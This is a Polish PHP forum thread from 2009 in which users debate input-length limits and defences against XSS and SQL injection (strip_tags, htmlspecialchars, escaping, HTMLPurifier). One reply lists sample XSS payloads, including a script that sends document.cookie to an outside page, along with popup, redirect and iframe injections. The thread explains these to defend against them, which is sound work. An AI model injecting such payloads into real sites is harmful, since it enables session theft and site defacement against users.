Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]Bezpieczna długość zmiennej
Forum PHP.pl > Forum > Przedszkole
Szunaj85
Staram się filtrować dane pochodzące od użytkownika. Mam na myśli różnego rodzaju formularze. Cytat z innej strony: "Zmienna powinna mieć radykalne ograniczenia wielkości, tak aby potencjalny włamywacz nie mógł zablokować naszej strony.". Chcę użyć funkcji strlen aby ograniczyć długość tekstu. I moje pytanie. Jaka jest bezpieczna długość zmiennej pochodząca od użytkownika, aby uniknąć takiej sytuacji? blinksmiley.gif
Spawnm
a daj link do tego arta blinksmiley.gif
może chodziło o atak XSS czyli długość powinna być taka aby nie dało się w klikać <script>alert('xss');</script>
ale zamiast tego można zwyczajnie dane filtrować przez strip_tags i htmlspecialchars smile.gif
Szunaj85
http://www.webinside.pl/php/artykuly/197
Tam pisze, że 255, ale w niektórych przypadkach to trochę mało.
batman
Czytam i czytam i nadziwić się nie mogę, że ludzie takie bzdury wypisują. Długość zmiennej nie ma żadnego znaczenia jeśli chodzi o bezpieczeństwo. Nawet w 50 znakach można zmieścić kod z SQL Injection.
Najważniejszą rzeczą jest filtrowanie danych, a nie ich skracanie. Czyli:
1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.
2. Walidowanie danych pod kątem ich typu.
3. Rzutowanie zmiennych przed ich użyciem. Jeśli wiadomo, że dana zmienna ma być liczbą, wówczas dla bezpieczeństwa lepiej ją zrzutować na int lub float.
I kilka innych, które akurat wyleciały mi z głowy.
kamil4u
Cytat
1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.

Że co? Po co? To IMO tak samo dobry pomysł jak z tą długością zmiennej - wystarczy użyć funkcji typu htmlspecialchars" title="Zobacz w manualu PHP" target="_manual! No chyba, że o czymś nie wiem...
kamil4u
Zgoda, ale to ma się nijak do bezpieczeństwa(może trochę(w końcu to my mamy decydować jakie dane do nas trafią), ale w żaden sposób nie jest to niebezpieczne)
kamil4u
Rozmawiamy o bezpieczeństwie naszej aplikacji. Po co mam usuwać znaczniki HTML? Co mi to da? Dałeś przykład z imieniem. To, że otrzymamy od gościa "marc&lt;b&g;in" to nic nie znaczy, w żaden sposób nam to nie zagraża. Co prawda masz rację, że lepiej usunąć, ale jeszcze raz powtarzam nie zagraża nam to. Więc pytam jeszcze raz: po co usuwać znaczniki HTML? IMO jest to bezsensu.
kamil4u
Pisałem, że rozmawiamy o bezpieczeństwie nie o estetyce:
Cytat
Rozmawiamy o bezpieczeństwie naszej aplikacji.


Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....
Coś czuje, że się nie zrozumieliśmy na początku i nasza dyskusja dalej nie ma sensu(Ty wiesz to co ja Ci piszę, a ja to co Ty mi tongue.gif )
v1t4n
bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars
batman
Cytat(kamil4u @ 24.04.2009, 23:49:31 ) *
Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....


Przykład 1.
  1. <script>window.location.href="moja.strona.html?ciacho=" + document.cookie</script>


Przykład 2.
  1. <script>window.open("reklama porno");</script>


Przykład 3.
  1. <meta http-equiv="refresh" content="2;url=http://jakis.adres.html">


Przykład 4.
  1. <iframe src="http://moja.strona.html"></iframe>


Wystarczy, że zapiszesz takie coś do bazy, a następnie wyświetlisz, np jako info o użytkowniku. Wiesz co się stanie jeśli użyjesz htmlspecialchars. Dlatego trzeba wyczyścić dane z kodu html.

Jeśli nadal nie rozumiesz jakie niebezpieczeństwo niesie za sobą brak filtrowania danych, to bardzo mi przykro. EOT.

Cytat(v1t4n @ 25.04.2009, 02:36:54 ) *
bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars


Dlatego właśnie powstał bbcode, tidy i inne podobne ustrojstwa.
Crozin
@batman: nic się nie stanie. Zostanie wyświetlony taki kod jak tutaj - w formie tekstu. Usuwanie znaczników HTML nie jest dobrym pomysłem, bo poza HTML można usunąć normalny tekst.

Co do przykładu z imieniem. OK, usuniesz znaczniki HTML, a zostawisz !@#$%^&? No przecież dane się sprawdza i w części możemy spokojnie założyć, że jeżeli poprawnie przeszły walidację to nic nam nie grozi - będzie to numer telefonu ([0-9 ]+), imię ([a-z]+), nazwisko([a-z -]+) itp.

Z treści (jakieś wpisy, tytuły, opisy, sygnaturki - ogólnie wszystko, gdzie z założenia może iść niemalże dowolna treść) również nie wywalamy kod HTML tylko upewniamy się, że zostanie on wyświetlony tak jak zaostał wprowazdony - czyli w formie tekstu.
batman
@Crozin Pozostaje mi tylko jedno do powiedzenia - cytat z niezapomnianej polskiej komedii:
Cytat
Pokaż go to palcem, bo chciałbym wierzyć, że śnię.


To tyle od mnie. Jeśli nadal się upierasz o pozostawieniu kodu HTML - Twoja sprawa.
Crozin
Pamiętaj, że cały czas mówimy w odniesieni do:
Cytat
Że co? Po co? To IMO tak samo dobry pomysł jak z tą długością zmiennej - wystarczy użyć funkcji typu htmlspecialchars! No chyba, że o czymś nie wiem...
vokiel
Odnośnie tematu topiku ("Bezpieczna długość zmiennej") to IMHO sprawdzanie długości wprowadzanych danych też jest ważnym aspektem.
1. Co jeśli mamy ograniczoną długość pola w bazie i nastąpi próba wpisania dłuższego ciągu? W jednych bazach ciąg zostanie ucięty, dane niekompletne, i nawet nie będziemy o tym poinformowani. W innych mamy błąd.
2. Buffer overflow (np niegdyś wysłanie maila o temacie wiadomości dłuższym niz 256 znaków do odbiorcy używającego Outlok Express)

Poza tym proste sprawy jak imiona, nazwy państw, nazwiska, etc, które po prostu nie mogą być dłuższe niż ileś tam znaków. Wiadomo, że jak ktoś podaje więcej, to albo to jest po prostu błąd albo coś kombinuje/.

Zatem moim zdaniem sprawdzanie długości zmiennej ma sens.
Szunaj85
Nie spodziewałem się, że rozmowa pójdzie w takim kierunku. blinksmiley.gif Pewne wnioski co do mojego pytania już wyciągnąłem. biggrin.gif Może na początku nie miałem o to pytać, ale skoro tak się rozmowa potoczyła to zapytam. Jestem ciekaw jakiego typu filtry/zabezpieczenia stosujecie żeby zabezpieczyć formularz przed zwykłym użytkownikiem poprzez użytkownika, który chce coś zepsuć dla zabawy aż po hakerów? Kilka przykładów już padło. Pewnie są inne.
Jak macie jakiś ciekawy kod też wrzućcie jeśli chcecie. Wiem, że w google można znaleźć pewne informacje na ten temat, ale nie wiem czy są one nadal aktualne. Poza tym pewnie nie wszystkie znalazłem. mellow.gif
Spawnm
mysql_real_escape_string" title="Zobacz w manualu PHP" target="_manual jeśli treść ma iść do bazy , chroni przed sql injection.
htmlspecialchars" title="Zobacz w manualu PHP" target="_manual na XSS , imho wystarczy smile.gif
batman
Cytat
Odnośnie tematu topiku ("Bezpieczna długość zmiennej") to IMHO sprawdzanie długości wprowadzanych danych też jest ważnym aspektem.
Jak najbardziej. Jednak autorowi nie chodziło o to, czy należy sprawdzać długość ciągu, a o to, czy jest jakaś konkretna długość zmiennej, do jakiej powinien ją obcinać.

Podstawowe zabezpieczenia:

1. Funkcje z rodziny escape (mysql_real_escape_string, pg_escape_string, itd).
2. Usuwanie znaczników html - strip_tags.
3. Zamiana na encje wszystkich znaków, które mogą coś rozwalić - htmlentities/htmlspecialchars.
4. Walidancja danych pod kątem ich typu.

No i kilka dobrych rad o bezpieczeństwie.
1. Zawsze filtruj dane, nawet jeśli wiesz, że pochodzą one z "zaufanego" źródła.
2. Filtruj wszystkie dane - post, get, cookie, server.
3. Dane można (i powinno się) filtrować dwukrotnie - podczas zapisywania do bazy oraz podczas wyświetlania danych pobranych z bazy.
Spawnm
jako osoba filtrująca tylko przy zapisie mam pytanie:
jak filtrujesz dane przed xss przy odczycie ?
uwzględniając że przy zapisie użyłeś np nl2br " title="Zobacz w manualu PHP" target="_manual , jakiś bbcode do linków i obrazków czyli będzie sporo html .
l0ud
W takim wypadku trzeba najpierw przefiltrować dane, a dopiero później przepuścić przez nl2br i pochodne. To przecież logiczne tongue.gif
dr_bonzo
Ja nie kasuje tagow, i nie zapisuje w bazie danych po nl2br().

Do bazy ida takie dane jakie wyslal user, czyli z tagami(*) i \n

Przy wyswietlaniu htmlspecialchars() i tagi nam nie grozne. I nl2br jak potrzebuje


*) oczywiscie nie wszedzie: na pewno nie w datach, liczbach itp, ale w komentarzach - jak najbardziej.
Pozatym jak napisac takie phpfi.com jak skasujesz tagi przez zapisem?
Szunaj85
Przeczytałem wasze posty i poszperałem w internecie. Zainteresowałem się funkcją strip_tags(). Chciałbym dobrze zrozumieć w jaki sposób można zaatakować stronę oraz samą funkcję w skrypcie.
Zacznę od formularza. Niech to będą komentarze.
Kod
Nick: [xxx]
Wiek: [30 ]
Komentarz:[<b>Zhakowałem ci stronę</b>]

No i jakieś zmienne $nick, $wiek, $komentarz. Czy mam rozumieć, że w powyższym wypadku haker zaatakował poprzez zmienną $komentarz, aby pogrubić tekst czy przez inne zmienne też jest to możliwe oczywiście odnosząc się do powyższego przykładu. No i sama funkcja
  1. <?php
  2. $ciag = 'Witaj <b>świecie</b>!!';  
  3. echo("strip_tags($ciag)");
  4. ?>

Rozumiem, że bez względu ile zmiennych by nie było wystarczy użyć jej przed samym wyświetleniem lub zapisem do pliku. Tylko w jakiej sytuacji jej użyć? Załóżmy, że zapisujemy komentarze do pliku txt. Funkcję użyć przed zapisem, przed wyświetleniem po odczytaniu, a może najbezpieczniej w obu przypadkach.
Jeśli znacie jeszcze jakieś inne funkcje, podzielcie się nimi.
batman
Moim zdaniem zmienna powinna być czyszczona z tagów html zarówno przed zapisem jak i przed wyświetleniem - nigdy nie wiadomo, czy nie została ona zmodyfikowana w magazynie.

Wszystkie niezbędne funkcje zapewniające bezpieczeństwo możesz znaleźć w wątku.
nieraczek
Stosując strip_tags przed zapisem do bazy można stracić treść, która jest między tagami. To byłoby chyba bez sensu jesli potem przy wyświetlaniu stosuje się htmlspecialchars().


A jakbym chciał pozwolić użytkownikowi na pogrubianie, łamanie linii czy zmiane czcionki to czy to jest bezpieczne przed wyświetleniem:
  1. <?php
  2. trim(strip_tags($napis, "<b><font><br/>"))
  3. ?>


questionmark.gifquestionmark.gifquestionmark.gif?
Usuwa wszystkie taki z wyjątkiem wymaganych.
nospor
dane, które z założenia nie powinny zawierac kodu html (czyli na dobrą sprawe prawie wszystkie) nalezy przepuszczac przez strip_tags. Ma nie zawierac i koniec kropka.
Nalezy oczywiscie pamietac, ze przed ich wyswietleniem nalezy je rownież przepuscic przez htmlspecialchars() - dla pewnosci. Nigdy nie wiadomo czy na jakims etapie rozwoju aplikacji nie wkradnie nam sie jakis blad w filtracji, wiec dla spokoju warto uzywac tej funkcji.

Co do glownego problemu w temacie:
cytat z arta, ktorego podano na początku:
Cytat
Zmienna powinna mieć radykalne ograniczenia wielkości, tak aby potencjalny włamywacz nie mógł zablokować naszej strony.

A nastepnie w kodzie dają ograniczenie do 255 znakow blinksmiley.gif
Zeby zablokowac komus strone to i 50 znakow starczy wiec zacytowany argument jest dość smieszny.
Owszem, należy sprawdzac dlugość tekstu, bo jesli baza przyjmuje tylko 255 znakow to dobrze by bylo, by tylko do niej tyle wkladac. Ot i cała filozofia

Cytat
Stosując strip_tags przed zapisem do bazy można stracić treść, która jest między tagami.
Toż to straszne. Jak ktos jest na tyle glupi (lub tez probuje nam XSS walnac),ze swoje imie wklada miedzy tagi, to jego sprawa winksmiley.jpg Poza tym strip_tags tak latwo nie usuwa tresci, wiec naprawde nie ma co sie martwic
nieraczek
ok dzieki nospor smile.gif

A co z:
  1. <?php
  2. trim(strip_tags($napis, "<b><font><br/>"))
  3. ?>


questionmark.gif

Myślę o sytuacjach, że np. wewnatrz tagu da się inny tag:
<b <script>alert("lol")</script> /> komentarz </b>

akurat w powyższym przypadku jest ok, ale są może inne niebezpieczeństwa ?
nospor
@nieraczek jesli juz tak bardzo chcesz komus pozwolic na niektore tagi to:
1) albo wprowadź bbcode
2) albo zainteresuj się klasą HTMLPurifier - posiada duze mozliwosci w filtracji tekstu, jego zabezpieczenia, usunieciu potencjalnych xss itp.
ddiceman
Cytat(batman @ 24.04.2009, 23:12:26 ) *
Czytam i czytam i nadziwić się nie mogę, że ludzie takie bzdury wypisują. Długość zmiennej nie ma żadnego znaczenia jeśli chodzi o bezpieczeństwo. Nawet w 50 znakach można zmieścić kod z SQL Injection.
Najważniejszą rzeczą jest filtrowanie danych, a nie ich skracanie. Czyli:
1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.
2. Walidowanie danych pod kątem ich typu.
3. Rzutowanie zmiennych przed ich użyciem. Jeśli wiadomo, że dana zmienna ma być liczbą, wówczas dla bezpieczeństwa lepiej ją zrzutować na int lub float.
I kilka innych, które akurat wyleciały mi z głowy.

Batman, bezpieczeństwo to nie tylko obrona przed SQL Injection. Co jeśli do pola typu VARCHAR(255) spróbujesz wstawić 500 znaków? W aktualnych wersjach MySQLa nic - rekord się nie doda. We wczesniejszych dodawał sie, ale ucięty - jeśli przez jakiś CMS wstawiany był kod HTML, to można było stracić zamykające tagi i tym samym zniszczyć układ strony. Ale byly też przypadki, że dalo sie tym mechanizmem uszkadzać tabele, co możesz sprawdzić tu i nie oznacza to, ze już takich problemów nie ma i nie będzie. Nie mów zatem, ze bzdurą jest ochrona dlugosci danych przed ich wstawieniem do BD.
nospor
@ddiceman akurat batman mowiąc "bzdura" nie mial na mysli dlugosci kolumny w bazie, tylko atak ssqlinjection czy xss. A wlasnie z artykulu to wlasnie wynikalo smile.gif
To ze trzeba sprawdzic dlugosc pod wzgledem dlugosci w bazie danych to sprawa oczywista i juz pisalem w poprzednim poscie o tym
batman
Ludzie. Autor nie pytał się czy trzeba sprawdzać długość ciągu, tylko czy jest jakaś długość, która uniemożliwi atak. Czytajcie ze zrozumieniem.
A to, że konieczne jest sprawdzanie długości ciągu przed zapisem do bazy, jest jasne jak słupek uranu. Równie dobrze możesz się przyczepić, że nie napisałem jednoznacznie, że jeśli w formularzu użytkownik wysyła datę, to na serwerze trzeba sprawdzić, że to jest data.
megawebmaster
Przy okazji - strip_tags przecież umożliwia przepuszczenie przez niego tagów, które wg. Was mają być bezpieczne. Potem czeka tylko dodatkowa filtracja.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.